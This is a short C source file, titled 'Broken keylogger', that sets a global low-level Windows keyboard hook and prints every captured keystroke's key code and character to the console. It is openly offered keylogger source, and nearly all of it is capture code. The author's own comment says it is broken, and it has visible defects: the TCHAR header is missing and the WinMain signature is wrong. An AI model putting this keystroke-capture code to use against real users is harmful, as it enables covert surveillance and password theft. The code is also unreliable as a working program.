Broken keylogger

#include <stdio.h>
#include <windows.h>

// code is broken, fuck online compilers
HHOOK hKeyHook;
MSG message;
KBDLLHOOKSTRUCT kbdStruct;
LRESULT WINAPI keyEvent (int nCode, WPARAM wParam, LPARAM lParam);

int _tmain (int argc, _TCHAR* argv[]) {

    hKeyHook = SetWindowsHookEx(WH_KEYBOARD_LL,
         (HOOKPROC) keyEvent, GetModuleHandle(NULL), 0);

    while (GetMessage (&message, NULL, 0, 0))
    {
        TranslateMessage(&message);
        DispatchMessage(&message);

    }
    UnhookWindowsHookEx(hKeyHook);
    return 0;
}

int WinMain(int argc, _TCHAR* argv[]) { _tmain(argc, argv); }

LRESULT WINAPI keyEvent (int nCode, WPARAM wParam, LPARAM lParam)
{
  if ( (nCode == HC_ACTION) &&
    ((wParam == WM_SYSKEYDOWN) || (wParam == WM_KEYDOWN)))
  {
    kbdStruct = * ( (KBDLLHOOKSTRUCT *) lParam);
    printf("%X\t%c\n", (unsigned int) kbdStruct.vkCode, (char) kbdStruct.vkCode);
  }
  return CallNextHookEx(hKeyHook, nCode, wParam, lParam);
}